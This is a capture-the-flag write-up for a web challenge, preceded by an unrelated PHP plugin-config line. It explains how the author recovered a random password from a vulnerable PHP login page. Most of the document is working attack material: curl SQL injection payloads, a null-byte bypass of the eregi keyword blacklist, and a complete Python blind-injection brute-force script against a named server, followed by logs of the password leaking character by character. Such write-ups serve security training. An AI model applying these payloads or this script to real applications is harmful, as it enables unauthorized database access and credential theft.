$plugins['authad'] = '0'; $plugins['authldap'] = '1'; $plugins['authmysql'] = '0'; $plugins['authpgsql'] = '0';
This web task, in short, required us to guess a randomly generated 30 char password in less than 120 trials.
We had the following source:
<?php session_start(); $link = @mysql_connect('localhost', '', ''); @mysql_select_db('', $link); function RandomString() { $filename = "smash.txt"; $f = fopen($filename, "r"); $len = filesize($filename); $contents = fread($f, $len); $randstring = ''; while( strlen($randstring)<30 ){ $t = $contents[rand(0, $len-1)]; if(ctype_lower($t)){ $randstring .= $t; } } return $randstring; } $max_times = 120; if ($_SESSION['cnt'] > $max_times){ unset($_SESSION['cnt']); } if ( !isset($_SESSION['cnt'])){ $_SESSION['cnt']=0; $_SESSION['password']=RandomString(); $query = "delete from rms_120_pw where ip='$_SERVER[REMOTE_ADDR]'"; @mysql_query($query); $query = "insert into rms_120_pw values('$_SERVER[REMOTE_ADDR]', '$_SESSION[password]')"; @mysql_query($query); } $left_count = $max_times-$_SESSION['cnt']; $_SESSION['cnt']++; if ( $_POST['password'] ){ if (eregi("replace|load|information|union|select|from|where|limit|offset|order|by|ip|\.|#|-|/|\*",$_POST['password'])){ @mysql_close($link); exit("Wrong access"); } $query = "select * from rms_120_pw where (ip='$_SERVER[REMOTE_ADDR]') and (password='$_POST[password]')"; $q = @mysql_query($query); $res = @mysql_fetch_array($q); if($res['ip']==$_SERVER['REMOTE_ADDR']){ @mysql_close($link); exit("True"); } else{ @mysql_close($link); exit("False"); } } @mysql_close($link); ?>
So, the obvious method was to somehow use a blind sql injection attack to recover the password:
$query = "select * from rms_120_pw where (ip='$_SERVER[REMOTE_ADDR]') and (password='$_POST[password]')";
The problem is that many useful statements/keywords are blacklisted:
if (eregi("replace|load|information|union|select|from|where|limit|offset|order|by|ip|\.|#|-|/|\*",$_POST['password'])){ @mysql_close($link); exit("Wrong access"); }
So there are 3 major roadblocks:
To get around the first one we need to create a true/false primitive. We could do this through a sleep but at the time the server was under heavy load so the output wasn't too reliable.
Another idea is to use the source itself as it has exit(“True”) and exit(“False”). Proof of concept:
$ curl http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/index.php -d "password=1' or '1'='1') or password=('" True $ curl http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/index.php -d "password=1' or '1'='2') or password=('" False
Now we need to bypass the blacklisting. The eregi function has a null-byte vulnerability such that it stops checking whenever it encounters *%00*. Let's try it:
$ curl http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/index.php -d "password=1' or (select True) ) or password=('" Wrong access $ curl http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/index.php -d "password=%001' or (select True) ) or password=('" True $ curl http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/index.php -d "password=%001' or (select False) ) or password=('" False
Now we could replace select True/False with (select password from rms_120_pw where ip='A.B.C.D' limit 0,1 ) like 'a%' and so on to find out what is the first letter. However, 26 letters times 30 characters is more than 120 so the password would get reset in the middle of brute-forcing.
To get past this last hurdle we can use an easy trick: start a session on an IP and brute-force it from another IP. I used a laptop tethered to my phone to start a session, obtained the IP and brute-forced it on my desktop PC.
Here's my brute force script:
#!/usr/bin/python import os,string from subprocess import Popen,PIPE def try_data(query_list, distinguisher, async_enabled): procs = {} for (idx, query) in enumerate(query_list): p = Popen(["curl", "-b", "cookies.txt", "-s", "http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/index.php", "-d", "password=%%001\' or %s) or password=(\'" % query], stdout = PIPE) procs[query] = p if async_enabled: continue else: p.wait() output = p.stdout.read() print "Query [%s] -> [%s]" % (query, output ) if output == distinguisher: return idx ret = None for (idx,query) in enumerate(query_list): while procs[query].poll() is None: pass output = procs[query].stdout.read() if async_enabled: print "Query [%s] -> [%s]" % (query, output ) if output == distinguisher: ret = idx return ret def get_password(ip, aggressive_enabled): prefix = '' while len(prefix) != 30: queries = [] letters = list(string.lowercase) for i in letters: s = " ( select password from rms_120_pw where ip='%s' limit 0,1 ) like '%s%%' " % (ip, prefix + i ) queries.append(s) idx = try_data(queries, "True", aggressive_enabled) if idx == None: print "No letter matched. Something is wrong" exit(-1) else: prefix = prefix + letters[idx] print "Password is [%s] " % (prefix + "?" * (30 - len(prefix) ) ) ip = "89.136.137.72" get_password(ip, aggressive_enabled = False)
Note that there are 2 versions: the asynchronous (aggressive) and the synchronous one; The first one starts 26 queries at a time and waits for them to end, the second one starts one at a time in order not to load the server too much. Here's a comparison:
$ time python solution.py #sync Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'o%' ] -> [True] Password is [o?????????????????????????????] Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'oh%' ] -> [True] Password is [oh????????????????????????????] Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohs%' ] -> [True] Password is [ohs???????????????????????????] Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsn%' ] -> [True] Password is [ohsn??????????????????????????] Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnw%' ] -> [True] Password is [ohsnw?????????????????????????] Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwt%' ] -> [True] Password is [ohsnwt????????????????????????] Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwtu%' ] -> [True] Password is [ohsnwtu???????????????????????] Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwtuo%' ] -> [True] Password is [ohsnwtuo??????????????????????] Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwtuob%' ] -> [True] Password is [ohsnwtuob?????????????????????] Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwtuobx%' ] -> [True] Password is [ohsnwtuobx????????????????????] Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwtuobxi%' ] -> [True] Password is [ohsnwtuobxi???????????????????] Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwtuobxib%' ] -> [True] Password is [ohsnwtuobxib??????????????????] Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwtuobxibc%' ] -> [True] Password is [ohsnwtuobxibc?????????????????] Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwtuobxibci%' ] -> [True] Password is [ohsnwtuobxibci????????????????] Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwtuobxibcio%' ] -> [True] Password is [ohsnwtuobxibcio???????????????] Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwtuobxibcioc%' ] -> [True] Password is [ohsnwtuobxibcioc??????????????] Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwtuobxibcioci%' ] -> [True] Password is [ohsnwtuobxibcioci?????????????] Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwtuobxibciocir%' ] -> [True] Password is [ohsnwtuobxibciocir????????????] Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwtuobxibciocira%' ] -> [True] Password is [ohsnwtuobxibciocira???????????] Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwtuobxibciocirah%' ] -> [True] Password is [ohsnwtuobxibciocirah??????????] Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwtuobxibciociraha%' ] -> [True] Password is [ohsnwtuobxibciociraha?????????] Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwtuobxibciocirahae%' ] -> [True] Password is [ohsnwtuobxibciocirahae????????] Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwtuobxibciocirahaeu%' ] -> [True] Password is [ohsnwtuobxibciocirahaeu???????] Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwtuobxibciocirahaeui%' ] -> [True] Password is [ohsnwtuobxibciocirahaeui??????] Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwtuobxibciocirahaeuiv%' ] -> [True] Password is [ohsnwtuobxibciocirahaeuiv?????] Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwtuobxibciocirahaeuive%' ] -> [True] Password is [ohsnwtuobxibciocirahaeuive????] Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwtuobxibciocirahaeuives%' ] -> [True] Password is [ohsnwtuobxibciocirahaeuives???] Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwtuobxibciocirahaeuivess%' ] -> [True] Password is [ohsnwtuobxibciocirahaeuivess??] Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwtuobxibciocirahaeuivessa%' ] -> [True] Password is [ohsnwtuobxibciocirahaeuivessa?] Query [ ( select password from rms_120_pw where ip='89.136.137.72' limit 0,1 ) like 'ohsnwtuobxibciocirahaeuivessat%' ] -> [True] Password is [ohsnwtuobxibciocirahaeuivessat] real 3m59.768s user 0m0.972s sys 0m1.420s
$ time python solution.py #async Password is [s?????????????????????????????] Password is [se????????????????????????????] Password is [sec???????????????????????????] Password is [sece??????????????????????????] Password is [secet?????????????????????????] Password is [secetl????????????????????????] Password is [secetlt???????????????????????] Password is [secetltt??????????????????????] Password is [secetlttm?????????????????????] Password is [secetlttmr????????????????????] Password is [secetlttmrm???????????????????] Password is [secetlttmrme??????????????????] Password is [secetlttmrmen?????????????????] Password is [secetlttmrment????????????????] Password is [secetlttmrmento???????????????] Password is [secetlttmrmentot??????????????] Password is [secetlttmrmentoto?????????????] Password is [secetlttmrmentotoh????????????] Password is [secetlttmrmentotoha???????????] Password is [secetlttmrmentotohax??????????] Password is [secetlttmrmentotohaxs?????????] Password is [secetlttmrmentotohaxsc????????] Password is [secetlttmrmentotohaxscb???????] Password is [secetlttmrmentotohaxscba??????] Password is [secetlttmrmentotohaxscbag?????] Password is [secetlttmrmentotohaxscbagn????] Password is [secetlttmrmentotohaxscbagnt???] Password is [secetlttmrmentotohaxscbagnts??] Password is [secetlttmrmentotohaxscbagntss?] Password is [secetlttmrmentotohaxscbagntssz] real 0m43.214s user 0m33.309s sys 0m10.614s
Sometimes, the async version had some problems but I didn't have time for debugging since the sync one worked perfectly.
Upon entering the correct password in auth.php we get the key:
Congrats! the key is DontHeartMeBaby*$#@!